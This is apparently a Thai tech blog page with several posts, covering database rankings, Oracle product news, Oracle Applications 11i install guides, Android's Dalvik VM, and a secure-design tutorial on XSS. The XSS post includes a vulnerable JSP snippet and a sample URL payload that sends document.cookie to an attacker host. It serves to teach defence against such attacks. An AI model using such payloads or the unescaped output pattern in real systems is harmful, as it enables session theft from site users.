go to http://oracle.in.th

Thursday, May 27, 2010

10 อันดับแรก ของระบบฐานข้อมูล ที่น่าจับตามอง


ว่ากันด้วยเรื่องของระบบฐานข้อมูล หรือ Database System ถ้าผู้ที่เริ่มรู้จักหรือสนใจเรื่อง Database ได้ไม่นาน(ย้อนหลังไปซัก 5 ปี) จะไม่รู้ว่า Database นั้น ได้ถือกำเนิดมานานแล้วตั้งแต่ปลาย ๆ ปี 1970 โดยประมาณ ซึ่งพอหันกลับมามองในช่วงปีนี้ ก็ไม่สามารถจะแย้งได้เลยว่า วงการการตลาดของ Database นั้น มันเจริญเติบโตอย่างรวดเร็วเลยทีเดียว ยิ่งในช่วงปีนี้ เหล่าองค์กร Database ต่าง ๆ เกิดการปรับเปลี่ียนตัวผลิตภัณฑ์ของเขาเองเพื่อที่จะพร้อมแข่งขันกับคู่แข่งที่มากขึ้น ๆ ทุกวัน แถมยังมีประสิทธิภาพที่ดีมากขึ้นกว่าสมัยก่อนเป็นอย่างมาก

ฉะนั้นแล้ว สำหรับผู้ที่กำลังมองหา Database ซักตัว มาใช้ทำงานอะไรซักอย่าง บทความนี่้จะช่วยคุณในการ พิจารณา Database ที่ดีที่เหมาะแก่การใช้งานของคุณ โดยเรียงลำดับ 10 อันดับแรกของ Database ที่กำลังมาแรงในปัจจุบัน

1. Oracle
Oracle เริ่มมาตั้งแต่ปี 1979 ซึ่งเป็นองค์กรแรกก็ว่าได้ทีมี Database แบบ Relational database management system หรือที่เรียกย่อ ๆ ว่า RDBMS นั่นเอง โดยผู้ที่เป็นหัวเรือ CEO ของ Oracle จะเป็นใครไปไม่ได้นอกจาก Larry Ellison ซึ่งเป็นผู้ที่ทำให้ Oracle มีองค์กรที่เป็นลูกค้ากว่า 500 องค์กร และเป็นองค์กรที่ทำระบบฐานข้อมูลที่โด่งดังเกือบจะมากที่สุดก็ว่าได้

2. SQL Server
ถ้าพูดถึง Microsoft ที่เป็นบริษัทซอร์ฟแวร์ที่ใคร ๆ ก็รู้จัก ซึ่ง SQL Server ก็ส่วนหนึ่งที่ทำให้ Microsoft มีชื่อเสียงมากขึ้น เพราะ OS ของ Microsoft ก็มีอยู่เกือบทั่วทุกแห่ง และยิ่งถ้าคุณใช้ Microsoft Server แล้วละก็ คุณก็ต้องใช้ SQL Server ควบคู่กันไปเพราะมันทำงานได้ง่ายขึ้นและเหมาะที่จะรันบน Windows ที่ใคร ๆ ก็ใช้ด้วย

3. DB2
สำหรับ DB2 ที่ IBM เป็นเจ้าของนั้น สามารถทำงานได้บนหลายแฟลตฟอร์ม เช่น Linux, UNIX, Windows โดย IBM ได้ทำการพัฒนา DB2 เวอร์ชั่น 9.7 นี้ เพื่อมาแย่งตลาด Oracle โดยยึดแนวคิดที่ว่า "Lower costs. Easy to use. Secure." และเหมาะสำหรับองค์กรที่มีขนาดไม่ใหญ่โตนัก ซึ่งหากต้องการหาระบบจัดการฐานข้อมูลที่ดีและมีประสิทธิภาพสูง ดังนั้น DB2 เวอร์ชั่น 9.7 นี้น่าสนใจมากทีเดียว

4. Sybase
Sybase ยังคงเป็นผู้นำในด้าน Adaptive Server Enterprise หลังจาก 25 ปีแห่งความสำเร็จที่ผ่านมาและการปรับปรุงผลิตภัณฑ์ของ Adaptive Server Enterprise อยู่เรื่อย ๆ แต่เมื่อเร็ว ๆ นี้ Sybase ก็ได้ถูกซื้อโดย SAP ไปซะแล้ว

5. MySQL
เป็นระบบจัดการฐานข้อมูลโดยใช้ภาษา SQL แม้ว่า MySQL เป็นซอฟต์แวร์โอเพนซอร์ส แต่แตกต่างจากซอฟต์แวร์โอเพนซอร์สทั่วไป โดยมีการพัฒนาภายใต้บริษัท MySQL AB ในประเทศสวีเดน โดยจัดการ MySQL ทั้งในแบบที่ให้ใช้ฟรี และแบบที่ใช้ในเชิงธุรกิจ แต่อย่างไรก็ตาม ตอนนี้ Oracle ก็ได้ชื่อว่าเป็นเจ้าของ MySQL ไปซะแล้วและ Oracle ได้ประกาศต่อสาธารณะอย่างมุ่งมั่นว่าจะพัฒนาอย่างต่อเนื่องและสนับสนุน MySQL อย่างสุดกำลัง

6. PostgreSQL
PostgreSQL หรือนิยมเรียกว่า โพสต์เกรส (Postgres) เป็นระบบจัดการฐานข้อมูลในลักษณะของซอฟต์แวร์เสรีภายใต้สัญญาอนุญาตบีเอสดี ชื่อเดิมของซอฟต์แวร์คือ โพสต์เกรส ซึ่งต่อมาได้ถูกเปลี่ยนเป็นโพสต์เกรสคิวเอล โดยประกาศออกมาจากทีมหลักในปี 2550 ชื่อของโพสต์เกรสมาจากชื่อ post-Ingres ซึ่งหมายถึงตัวซอฟต์แวร์ที่พัฒนาต่อจากซอฟต์แวร์ชื่ออินเกรส
นั่นเอง

7. Teradata
ถ้าคุณเคยทำฐานข้อมูลในระดับใหญ่ ๆ คุณอาจจะเคยได้ยิน Teradata อยู่บ้าง Teradata เกิดขึ้นเมื่อปี 1970 เป็นผู้ที่วางรากฐานสำหรับคลังข้อมูลแรก ๆ ก่อนที่จะมีอย่างเป็นทางการ ซึ่งผู้เชี่ยวชาญด้านคลังสินค้าหรือ Data warehouse มักจะเรียก Teradata ในความหมายเดียวกับ บริษัทคลังข้อมูลขนาดใหญ่นั่นเอง

8. Informix
เป็นผลิตภัณฑ์อีกตัวหนึ่งของ IBM ที่ถูกพัฒนาออกมาหลายเวอร์ชั่นมาก ตั้งแต่ imited Developer Edition จนถึง entry-level Express Edition หรือ low-maintenance online transaction processing (OLTP) Workgroup Edition และ high-performance OLTP Enterprise Edition โดย Infomix จะยึดหลักที่ว่า "ลูกค้ามักจะได้ต้นทุนต่ำของการบำรุงรักษาและความน่าเชื่อถือสูงที่สุด"

9. Ingres
Ingres เป็นส่วนรากฐานของโอเพ่นซอร์สในตระกูล PostgreSQL และฐานข้อมูลอื่น ๆ หรือเรียดได้ง่าย ๆ ว่า คือ RDBMS (Relational Database Management System) แบบโอเพ่นซอร์สของบริษัทคอมพิวเตอร์ แอสโซซิเอทส์ จำกัด (Computer Associates - CA) ซึ่งเป็นหนึ่งในระบบจัดการฐานข้อมูลเชิงสัมพันธ์หรือ RDBMS อันดับต้นๆ ของโลก

10. Amazon's SimpleDB
ฐานข้อมูลแบบง่ายๆ มีตารางเดียว แต่รองรับปริมาณข้อมูลจำนวนมากได้ โดยทั่วไปแล้ว SimpleDB จะมีการใช้งานที่ใกล้เคียงกับ SQL ตามปรกติ ที่ต่างออกไปคือการทำ Query ต้องอยู่บนตารางเดียวเท่านั้น และสามารถใช้ Expression ได้เพียงพื้นฐาน แต่มีข้อดีคือการเพิ่มขนาดของ SimpleDB นั้นทำได้ค่อนข้างง่ายและที่สำคัญที่สุดคือไม่มีค่าธรรมเนียมขั้นต่ำ

อ้างอิง
ข้อเขียนนี้ช่วยฉัน:  

Tuesday, May 25, 2010

ถึงเวลาออกตัว MySQL entreprise เวอร์ชั่นใหม่กันเสียที



ได้ฤกษ์ออกเวอร์ชั่นใหม่เสียทีกันเสียทีสำหรับซอฟแวร์ฐานข้อมูลโอเพนซอร์สอย่าง MySQL หลังจากที่ถูก Oracle เข้าไป take over มาสักระยะ ก็ถึงเวลาที่จะออกเวอร์ชั่นใหม่ให้กับ MySQL enterprise ซึ่งในเวอร์ชั่นนี้มี component ใหม่ที่สำคัญอย่าง MySQL Enterprise Monitor 2.2 ที่จะเพิ่มประสิทธิภาพในการ monitor ให้กับเหล่า DBA ได้เป็นอย่างดี

สามารถอ่านรายละเอียดเพิ่มเติมได้จาก Link ด้านล่างเลยครับ
Oracle releases new version of MySQL enterprise

Credit by Ratipong
ข้อเขียนนี้ช่วยฉัน:  

Friday, May 21, 2010

เหล่าคนรักจาวาทั้งหลายไม่ควรพลาด JavaOne + Develop 2010 เปิดให้ลงทะเบียนแล้ววันนี


JavaOne and Develop เป็นงานที่รวมพลคนรักจาวาจากทุกมุมโลก ให้มาพบปะแลกเปลี่ยนประสบการณ์กัน โดยจะมีการจัดแสดงนวัตกรรมต่างๆด้านเทคโนโลยีจาวา ซึ่งช่วยเปิดวิสัยทัศน์และเพิ่มโอกาสทางธุรกิจ 
 
โดยงาน "JavaOne and Develop 2010" ครั้งนี้จัดที่ซานฟรานซิสโก สหรัฐอเมริกา ระหว่างวันที่ 19-23 กันยายน 2010 คุณสามารถลงทะเบียนเพื่อเข้าร่วมงานได้แล้ววันนี้ที่ http://www.oracle.com/us/openworld/036763.htm


Credit by Krit
ข้อเขียนนี้ช่วยฉัน:  

Friday, May 14, 2010

Oracle VM VirtualBox 3.1.8 ฟรีแวร์สำหรับจำลองระบบคอมพิวเตอร์เวอร์ชั่นล่าสุด ออกมาให้ดาวโหลดแล้ว



Oracle VM VirtualBox ซึ่งเป็นซอฟต์แวร์สำหรับใช้ทำการจำลองระบบคอมพิวเตอร์ (Virtualization) ลักษณะเดียวกับโปรแกรม VMware Workstation แต่ VMware Workstation ต้องเสียตังค์ซื้อจึงจะใช้งานได้เต็มฟังก์ชั่น

Oracle VM VirtualBox เวอร์ชั่นใหม่นี้ ทำการแก้ไขปัญหาต่างๆของโฮสต์ และยังสามารถรองรับโฮสต์อย่าง ubuntu อีกด้วย

สามารถดาวโหลดได้ที่
http://dlc.sun.com/virtualbox/vboxdownload.html

Credit by Bie
ข้อเขียนนี้ช่วยฉัน:  

Tuesday, May 11, 2010

การ Install Oracle Applications 11i

การ Install Oracle Applications 11i (11.5.1) แบบมีตัวอย่างข้อมูล
1. เมื่อรัน Oracle Applications Installer แล้วจะพบหน้าต่างดังนี้ จากนั้นกด Next
ioa11
2. เลือก Install Oracle Applications E-Business 11i จากนั้นกด Next
ioa11
3. ที่หน้า Load Configuration เลือก No จากนั้นกด Next
ioa11
4. ที่หน้า Install Type เลือก Single-Node จากนั้นกด Next
ioa11
5. ที่หน้า Define Database Type ให้เลือก Vision Demo Database เพื่อจะได้มีข้อมูลตัวอย่าง จากนั้นใส่ Database Name และนั้นกด Next
ioa11
6. ทำการใส่ Group และ Directory ที่จะทำการ Install Database จากนั้นกด Next
ioa11
7. ทำการใส่ Group และ Directory ที่จะทำการ Install Application จากนั้นกด Next
ioa11
8. ที่หน้า Global System Settings ปล่อยให้ค่าเป็นตาม Default จากนั้นกด Next
ioa11
9. ที่หน้า Save Instance – specific Configuration ให้ปล่อยค่าเป็นตาม Default หรือเปลี่ยน Directory ตามต้องการจากนั้นกด Next
ioa11
10. จะมีหน้าต่างแสดงการตรวจสอบ Pre – Requisites ต่างๆ
ioa11
11. เมื่อตรวจสอบเสร็จแล้วจะพบหน้าต่างนี้ ถ้าผ่านหมดก็จะมีเครื่องหมายถูกทุกเงื่อนไข แต่ถ้าเงื่อนไขใดไม่ผ่านก็จะมีเครื่องหมายผิด จากนั้นกด Next
ioa11
12. จะพบหน้าต่างแสดงสรุปก่อนจะ Install จากนั้นกด Next จะมีกล่องข้อความเตือนให้กด Yes
ioa11
13. การ Install จะเริ่มขึ้นและมีหน้าต่างแสดง Progress ของการ Install
ioa11
14. การ Install จะใช้เวลาหลายชั่วโมง เมื่อเสร็จแล้วจะพบหน้าต่างสรุปผลการ Install ดังนี้ จากนั้นกด Next
ioa11
15. จะพบหน้าต่าง Finish ให้กด Finish เป็นอันเสร็จสิ้นการ Install Oracle Applications 11i แบบมีตัวอย่างข้อมูล
ioa11
หมายเหตุ การ Install แบบนี้จะมี Default Character Set เป็น UTF8 ซึ่งจะไม่สามารถเลือกให้เป็น Character Set อื่นได้ ถ้าต้องการให้เป็น Character Set อื่นๆ จะต้องเลือก Install แบบ Fresh Database
การ Install Oracle Applications 11i แบบไม่มีตัวอย่างข้อมูล
1. เมื่อรัน Oracle Applications Installer แล้วจะพบหน้าต่างดังนี้ จากนั้นกด Next
ioa11
2. เลือก Install Oracle Applications E-Business 11i จากนั้นกด Next
ioa11
3. ที่หน้า Load Configuration เลือก No จากนั้นกด Next
ioa11
4. ที่หน้า Install Type เลือก Single-Node จากนั้นกด Next
ioa11
5. ที่หน้า Define Database Type ให้เลือก Fresh Database จากนั้นใส่ Database Name และกด Next
ioa11
6. ทำการใส่ Group และ Directory ที่จะทำการ Install Database จากนั้นกด Next
ioa11
7. ที่หน้า Select Licensing Type เลือก E-Business Suite Licensing จากนั้นกด Next
ioa11
8. ที่หน้า License Additional Products ปล่อยค่าเป็นตาม Default หรือเลือกเพิ่มเติมตามความเหมาะสม จากนั้นกด Next
ioa11
9. เลือก Region ให้เป็นประเทศไทย จากนั้นกด Next
ioa11
10. ที่หน้า Additional Language เลือกภาษาตามความเหมาะสมจากนั้นกด Next
ioa11
11. เลือก Character Set ตามที่ต้องการจากนั้นกด Next
ioa11
12. ทำการใส่ Group และ Directory ที่จะทำการ Install Application จากนั้นกด Next
ioa11
13. ที่หน้า Global System Settings ปล่อยให้ค่าเป็นตาม Default จากนั้นกด Next
ioa11
14. ที่หน้า Save Instance – specific Configuration ให้ปล่อยค่าเป็นตาม Default หรือเปลี่ยน Directory ตามต้องการจากนั้นกด Next
ioa11
15. จะมีหน้าต่างแสดงการตรวจสอบ Pre – Requisites ต่างๆ
ioa11
16. เมื่อตรวจสอบเสร็จแล้วจะพบหน้าต่างนี้ ถ้าผ่านหมดก็จะมีเครื่องหมายถูกทุกเงื่อนไข แต่ถ้าเงื่อนไขใดไม่ผ่านก็จะมีเครื่องหมายผิด จากนั้นกด Next
ioa11
17. จะพบหน้าต่างแสดงสรุปก่อนจะ Install จากนั้นกด Next จะมีกล่องข้อความเตือนให้กด Yes
ioa11
18. การ Install จะเริ่มขึ้นและมีหน้าต่างแสดง Progress ของการ Install
ioa11
19. การ Install จะใช้เวลาหลายชั่วโมง เมื่อเสร็จแล้วจะพบหน้าต่างสรุปผลการ Install ดังนี้ จากนั้นกด Next
ioa11
20. จะพบหน้าต่าง Finish ให้กด Finish เป็นอันเสร็จสิ้นการ Install Oracle Applications 11i แบบไม่มีตัวอย่างข้อมูล
ioa11

Credit by Yong (@stigmatise)
ข้อเขียนนี้ช่วยฉัน:  

Monday, May 10, 2010

มาเตรียมเครื่องให้พร้อม ก่อนลง Oracle Applications 11i กันดีกว่า

Oracle Applications 11i’s Prerequisite

สำหรับการ Install Oracle Applications 11i (11.5.1)ใน Linux Red Hat 4 มีสิ่งที่ต้องทำก่อนดังต่อไปนี้

1. ตรวจสอบ Package ว่ามีครบดังต่อไปนี้หรือไม่
    compat-db-4.1.25-9
    compat-gcc-32-3.2.3-47.3
    compat-gcc-32-c++-3.2.3-47.3
    *compat-oracle-rhel4-1.0-5
    *compat-libcwait-2.1-1
    compat-libgcc-296-2.96-132.7.2
    compat-libstdc++-296-2.96-132.7.2
    compat-libstdc++-33-3.2.3-47.3
    xorg-x11-deprecated-libs-devel-6.8.2-1.EL.13.37
    xorg-x11-deprecated-libs-6.8.2-1.EL.13.37
    openmotif-2.2.3-10.RHEL4.5

หมายเหตุ Package ที่มีเครื่องหมาย * สามารถหาได้จาก Oracle patch 4198954

2. ต้องมีเวอร์ชันของ Kernel ขั้นต่ำคือ 2.6.9-42.0.0.0.1.EL สามารถตรวจสอบได้โดยใช้คำสั่ง
    uname –r

3. ต้องมีเวอร์ชันของ glibc ขั้นต่ำคือ 2.3.4-2.25 สามารถตรวจสอบได้โดยใช้คำสั่ง
    rpm –q glibc

4. เพิ่มหรือแก้ไขค่า Domain Name Server Resolver Parameter ซึ่งอยู่ในไฟล์ /etc/resolv.confดังนี้
    options attempts:5
    options timeout:15

5. ตรวจสอบว่า Host Names ถูกต้องหรือไม่ ทำตามขั้นตอนดังต่อไปนี้
    5.1 ตรวจสอบในไฟล์ /etc/hosts ว่ามีรูปแบบดังนี้หรือไม่

          127.0.0.1 localhost.localdomain localhost
          <ip_address> <node_name>.<domain_name> <node_name>

    5.2 ตรวจสอบในไฟล์ /etc/sysconfig/network ว่ามีรูปแบบดังนี้หรือไม่

          HOSTNAME=<node_name>.<domain_name>

    5.3 ถ้ามีไฟล์ /etc/sysconfig/networking/profiles/default/network อยู่ ให้ทำการลบทิ้ง
    5.4 ถ้ามีการแก้ไขในขั้นตอนใดขั้นตอนหนึ่งก่อนหน้านี้ ให้ทำการ Restart เครื่องก่อนที่จะทำขั้นตอนต่อไป

6. เพิ่มหรือแก้ไขค่า Number of Open File Descriptors ซึ่งอยู่ในไฟล์ /etc/security/limits.conf ดังนี้
    * hard nofile 65535
    * soft nofile 4096
7. เพิ่มหรือแก้ไขค่า Port Range ซึ่งอยู่ในไฟล์ /etc/sysctl.conf ดังนี้
    net.ipv4.ip_local_port_range = 10000 65000

หลังจากทำการแก้ไขค่าต่างๆเรียบร้อยแล้วควรจะทำการ Restart เครื่องก่อนที่จะทำการ Install Oracle Applications 11i เมื่อ Restart แล้วก็น่าจะสามารถทำการ Install ได้โดยที่ไม่ติด Pre-requisites ใดๆครับ

สำหรับใครที่พร้อมแล้ว รอบทความหน้าของผม จะว่าด้วยเรื่องการ install ต่อนะครับ

Credit by Yong (@stigmatise)
ข้อเขียนนี้ช่วยฉัน:  

Friday, May 7, 2010

Android กับ Java


Android เป็น OS บนมือถือที่มีพื้นฐานจาก Linux โดยใช้ภาษา Java เป็น ภาษาที่ไว้ใช้พัฒนา application บน Android แต่จะบอกว่าใช้ Java ตรงๆก็ไม่ถูกนัก เพราะ android มันใช้ Java เพียงแค่ interface (syntax) เท่านั้น เพราะว่า VM (Visual Machine) ที่ใช้นั้นเป็น VM (Dalvik) ที่ถูกสร้างขึ้นมาโดยเฉพาะ โดย Dalvik นั้นก็เป็น VM คล้าย java ทำหน้าที่ compile source code java และรัน java เช่นเดียวกัน แต่ Dalvik ได้พัฒนาต่อยอดมาจาก Project ของ Apache Harmony โดย Apache Harmony นั้นเป็น JVM ของ java ที่เป็น open source แต่ JVM ตัวนี้ความสามารถยังไม่เทียบเท่ากับ JVM official ของ SUN ดังนั้นจึงต้องมาพัฒนาต่อจนกลายเป็น Dalvik นั่นเอง

Dalvik VM
แต่เมืออ่านถึงตรงนี้คงจะมีคำถามว่าทำไมไม่ใช้ JVM ของ SUN เลยหละ มันมีเหตุผลอยู่เพราะว่าการ interpreter ของแต่ละอันนั้นต่างกัน โดยของ JVM นั้นจะเป็น stack machines และของ Dalvik นั้นเป็น register-based ซึ่งการทำงานทั้งสองต่างกัน โดย stack machines นั้นจะอ่าน byte code (class) ของ java แล้วแปล byte code เหล่านั้นเป็น instructions (คำสั่งต่างๆ) แล้วโหลดไปกองไว้ในหน่วยความจำแบบ stack ส่วน register-based นั้นก็มีการทำงานคล้ายๆกันเพียงแต่จะโหลด instructions เข้าไปในหน่วยความจำแบบ register แทน ซึ่งทั้งสองตัวนี้ดูเหมือนคล้ายๆกันเพียงแต่ว่า stack machines นั้นจะสร้าง instructions ออกมามากกว่า register-based ถึงแม้จะเป็น byte code ตัวเดียว ทำให้ไม่เหมาะกับการนำไปใช้ในอุปกรณ์มือถือที่มี CPU และ RAM น้อยกว่า computer มาก

อีกเหตุผลหนึ่งที่ไม่สามารถนำ JVM ไปใช้ได้เพราะ JVM ของ SUN นั้นไม่ใช่ open source ดังนั้นการไปปรับแต่งหรือการแก้ไขนั้นทำไม่ได้จึงต้องหันไปใช้ Dalvik แทน

โดย Android นั้นถูกผลักดันโดยกลุ่มๆหนึ่งที่มีชื่อว่า Open Handset Alliance โดยที่กลุ่มๆนั้นคล้าย JCP (Java Community Process) ของ java มาก เป็นกลุ่มที่คอยสนับสนุน วางแผน ออกแบบ และทิศทางของ Android ซึ่งสามารถเข้าไปดูกลุ่มผู้สนับสนุนได้ตาม link นี้ ถ้าใครลองเข้าไปดูจะพบว่า นอกจากจะมีกลุ่มของผู้ผลิตมือถือแล้วยังมีกลุ่มของผู้ผลิต processor ของมือถือด้วย โดยเริ่มแรกกลุ่มของผู้ผลิต processor เป็นผู้วางสถาปัตยกรรมต่างๆของ Android ให้

แต่ข้อเสียมันก็คือ มันรันบน VM ทำให้มันช้า ลองนึกจินตนาการดูในสมัยที่ใครๆเค้าว่า java ช้ากัน (ช่วงนั้น CPU ใคร 1 Ghz ถือว่าหรูมาก) เพราะเมื่อเรา compile source code เราจะไม่ได้ native เหมือนภาษาอื่น แต่จะได้เป็น bytecode โดย bytecode จะเป็น code ที่เกือบจะเทียบเคียงกับภาษาเครื่องแล้ว (เกือบคล้ายๆ native) เมื่อเวลานำ bytecode ไปรันต้องเสียเวลาตีความอีก แต่ ณ ตอนนี้ปัญหานี้ได้ถูกแก้โดย JVM ที่มีประสิทธิภาพมากขึ้นและ hardware ที่ก้าวกระโดดไปไกล

แต่การแก้ปัญหาของ Android ณ ตอนนี้เหมือนจะไปแก้ที่ปลายเหตุ ไปแก้ที่ hardware แทน โดยสังเกตุ spec ของมือถือ android รุ่นหลังๆ CPU และ RAM จะสูงขึ้นมาก แต่ใช่ว่าจะไม่ได้แก้ปัญหาที่ต้นเหตุ โดยมีบริษัทที่อยู่ในกลุ่มของ Open Handset Alliance ได้มีการสร้าง Dalvik ตัวใหม่ขึ้นชื่อ Dalvik Turbo ซึ่งถ้าหากเอาไปวางแทนที่ Dalvik ตัวเก่าจะทำให้ Android เร็วขึ้น 2-3 เท่า แต่ Dalvik Turbo จะไม่มีให้โหลดมาใช้ตรงๆ แต่จะขายให้กับผู้ผลิตแทน

หรือถ้าใครไม่อยากรอ Dalvik Turbo ก็มีอีกทางเลือกตอนนี้ Android ยังเปิดตัว Development Kits ตัวใหม่คือ NDK ซึ่ง Google ได้เปิดช่องทางอีกช่องหนึ่งให้นักพัฒนาที่ถนัดภาษา C หรือ C++ สามารถเขียน Android ได้โดย NDK จะได้เปรียบกว่า SDK ตรงที่มันไม่ได้ run ผ่าน VM เลยแต่มัน run ผ่านตัว Linux ตรงๆทำให้มันทำงานได้เร็วกว่าการพัฒนาบน SDK

Android กับ Java
Android กับ java นั้นใช้ VM คนละตัวกันทำให้เราจำเป็นที่จะต้องใช้ SDK ที่เป็นของ Android โดยเฉพาะเท่านั้น ทำให้เราไม่สามารถใช้ library (jar) ที่มีอยู่มากมายใน java มาใช้ในการพัฒนา android ไม่ได้ เพราะว่าเราใช้ SDK กันคนละตัวทำให้ bytecode ที่ได้มาจาก SDK ย่อมแตกต่างกัน ดังนั้น library ต่างๆจากภายนอกจึงไม่สามารถนำเข้ามาใช้ใน Android ได้ ยกตัวอย่าง เช่น jFreeChart หากคิดจะเอามาใช้ทำ chart ใน Android หมดสิทธิครับ

ถึงแม้ว่า Dalvik จะมี tool ที่ชื่อว่า dx ทำหน้าที่ในการ compress class java ให้กลายเป็น .dex แต่ว่ามันไม่สามารถทำได้ทุก class ทำให้จึงไม่สามารถนำ class java มาใช้ได้
โดย Android SDK นั้นมี package ให้ใช้ดังนี้ (อ้างอิงจาก Android SDK 1.5)

Top-Level Package
Purpose
android.*
Android application fundamentals
com.google.android.map
Google Map Interface (requires additional terms of service and an apiKey)
dalvik.*
Dalvik Virtual Machine support for debugging and such
java.*
Core classes and familiar generic utilities for networking, security, math, and such
javax.*
Encryption support
junit.*
Unit testing support
org.apache.http.*
HTTP protocol support
org.json
JSON support
org.w3c.dom
W3C Java bindings for the Document Object Model Core (XML and HTML)
org.xml.sax.*
Simple API for XML (SAX) support for XML
org.xmlpull.*
High-performance XML parsing

Reference: Android Wireless Application Development (ขอบคุณ @neogravity ที่ให้ยืมมาอ่าน)
จะสังเกตว่า package java นั้นมีติดมาด้วย ที่มีติดมาด้วยเพราะ Dalvik นั้นพัฒนาต่อยอดมาจาก Apache Harmony ทำให้ package พื้นฐานของ java ติดมา นอกจากนั้น android ยังรองรับกราฟฟิก 2D และ 3D ผ่าน OpenGL library ที่ติดมากับ kernel ของ Linux ส่วน database ที่รองรับคือ SQLLite

Credit by @pluamkamon
ข้อเขียนนี้ช่วยฉัน:  

Wednesday, May 5, 2010

Security-driven design #1 - XSS

    เมื่อได้รับมอบหมายงานมาชิ้นหนึ่งเรามักมองแต่ภาพว่าทำอย่างไรให้งานมันออกมาให้ได้จะใช้เทคโนโลยีอะไร? จะใช้เทคนิคไหน? แต่สิ่งที่มักมองข้ามไปคือทำอย่างไรให้งานมันออกมาปลอดภัยต่อผู้ใช้ด้วย เพื่อลดผลกระทบที่จะตามมา ระดับความรุนแรงของผลที่เกิดขึ้นทั้งหมดขึ้นอยู่กับ business logic ที่ผลกระทบวิ่งไปถึง โดยการวิเคราะห์ให้คะแนนความเสี่ยงศึกษาได้จาก http://www.owasp.org/index.php/OWASP_Risk_Rating_Methodology
    การมองเรื่องความปลอดภัยของ Web application เป็นเรื่องที่สำคัญ ในมุมนักพัฒนาคงไม่อาจบอกได้ว่ามันมี best pratice ที่จะจัดการทุกประเด็นที่เป็นจุดเสี่ยงจึงอาจบอกได้ว่า no silver bullet แต่ที่จะทำคือพยายามลดจุดอ่อนออกไปให้เหลือน้อยที่สุด และมันคงไม่สามารถทำให้สำเร็จได้ด้วยการให้ความสำคัญเพียงแต่การ coding เพราะถึงมี best pratice ดีแค่ไหนแต่มันก็เป็นเพียงการแก้ไขที่ปลายเหตุ เราควรมองและให้ความสำคัญมันตั้งแต่เริ่มต้นโปรเจค และใส่มันให้เป็นหนึ่งสิ่งที่จะต้องทำให้สำเร็จให้ได้ 
    ถ้าเราให้ความสำคัญกับความปลอดภัยและขับเคลื่อนมันไปตั้งแต่เริ่มโปรเจคก็จะเป็นไปตามภาพดังนี้ (ภาพนี้ไม่ได้ตายตัว ยืดหยุ่นได้ตามสภาพแวดล้อมการทำงาน)
  • Requirement
    • Regulations
    • Industry best practices
    • Business requirement
  • Architecture & Design
    • Architecture Blueprint
      • Application components
      • Entry / Exit points
      • External interface
      • Data flow
    • Threat Modeling
  • Implementation
    • Secure coding practices
  • Testing & Deployment
    • Penetration testing 
    • Security assessment
    • Secure coding practices also involve in the testing stage
  • Operation & Maintenance
    • Security monitoring
    • Recurring assessment
ในปีที่ผ่านมาจุดอ่อนที่มักถูกโจมตีดังนี้ 
  • Injection
  • Cross-Site Scripting (XSS)
  • Broken Authentication and Session Management
  • Insecure Direct Object References
  • Cross-Site Request Forgery (CSRF)
  • Security Misconfiguration
  • Failure to Restrict URL Access
  • Invalidated Redirects and Forwards
  • Insecure Crytographic Storage
  • Insufficient Transport Layer protection
แต่ผมจะพูดถึงจุดอ่อนที่พบกันมากที่สุด

Cross-Site Scripting
เป็นจุดอ่อนที่ส่งผลกระทบต่อผู้ใช้ web application เป็นจุดอ่อนที่เกิดขึ้นจากความไม่รอบคอบในขั้นตอนการ implement ส่งผลให้ผู้ไม่หวังดีสามารถ execute script บน browser ในฝั่งของผู้ใช้ได้ โดย script ดังนี้กล่าวจะถูกฉีคเข้ามาเพื่อไป execute บน browser ฝั่งผู้ใช้
XSS แบ่งได้เป็น 2 ประเภทตามวิธีที่ script ถูกส่งไปให้เหยื่อ
  • Persistent XSS ผู้ไม่ประสงค์ดีสามารถส่ง script เข้าไปใน persistent storage เช่น database, file เมื่อผู้ใช้เข้าหน้าเวบที่ดึงข้อมูลใน persistent storage ดังกล่าวมาแสดง browser ก็จะ execute script นั้นโดยอัตโนมัติ
  • Non-perssitent XSS คือ script ที่เป็นอันตรายไม่ได้ถูกเก็บลงใน web page หรือใน database ผู้โจมตีฉีค script เหล่านี้เข้ามาผ่นทาง URL ได้แล้ว execute script บน browser ของผู้ใช้ทั่วไปได้
ระดับความรุนแรงจะขึ้นอยู่กับ script ที่ผู้โจมตีเขียนขึ้นมาแต่โดยทั่วไปจะถูกกระทำดังนี้
  • ขโมยข้อมูลส่วนตัว เช่น sessionID (cookie) หรือ browser history
  • Redirect ไปยัง website ที่ผู้โจมตีเขียนขึ้นมารอไว้
  • Compromise the operating system หรือ cause the Denial-of-Service (DoS)
  • ใช้ browser ของเหยื่อเป็น backdoor เพื่อเข้าไปโจมตีเครื่องอื่นต่อไป
ตัวอย่าง code ที่มีช่องโหว่
<%
  out.write("Message: " + request.getParameter("msg"));
%>
แล้วผู้ไม่หวังดีก็ใช้ url ลักษณะนี้เพื่อส่ง javascript เข้ามาทาง parameter
http://www.xxx.com/admin/message.jsp?msg=blah<script>document.location='http://www.attacker.com/cookie.cgi?'%20%2Bdocument.cookie</script>
แนวทางการป้องกัน
สามารถป้องกันได้สองวิธีคือ
  1. Output escaping strategy
  2. Input Validation strategy
Note:
Escaping เป็นเทคนิคที่ใช้เพื่อให้แน่ใจว่าข้อมูลผ่านการตรวจสอบแล้ว ไม่ใช่ข้อมูลที่ถูกนำไป interpreter ต่อได้ ซึ่งมีหลายเทคนิค (บางครั้งเราเรียกว่า endoding) โดยมีจุดประสงค์ที่แท้จริงคือเพื่อให้แน่ใจว่าข้อมูลที่ไม่ถูกต้องจะไม่สามารถถูกส่งเข้ามาเพื่อโจมตีได้ 
ตารางข้างล่างเป็นตัวอย่างของตัวอักษรที่ควรจะถูกขัดขวาง
CharacterHTML Named EntityHTML Hexadecimal Entity
&&amp;&#x26;
<&lt;&#x3c;
>&gt;&#x3e;
"&quot;&#x22;
'N/A (&apos; is not recommended)&#x27;
/&sol;&#x2f;
การ escape มีสองวิธีคือ
  • html named entity เป็นตัวอักษรที่สอดคล้องกับชื่อ ที่ซึ่งได้กำหนดไว้ในมาตรฐาน HTML 4 ในรูปแบบ &name;
  • html hexadecimal entity เป็นตัวอักษรที่แสดงเป็นเลขฐาน 16 ในรูปแบบ &#xHHHH;

Output escaping strategy
script ที่เป็นอันตรามักจะถูกฉีคเข้ามายังจุดที่อ่อนแอที่สุดในหน้าเว็บนั้น ซึ่งมันจะมีแตกต่างกันไปตามแต่ละส่วนของ html page ซึ่งจุดดังกล่าวได้แก่
  • html element content
    • จุดอ่อนแอที่อยู่ในส่วนของ HTML body ทั้งหมดเช่น <body>, <div>, <td> ...
  • html common attribute
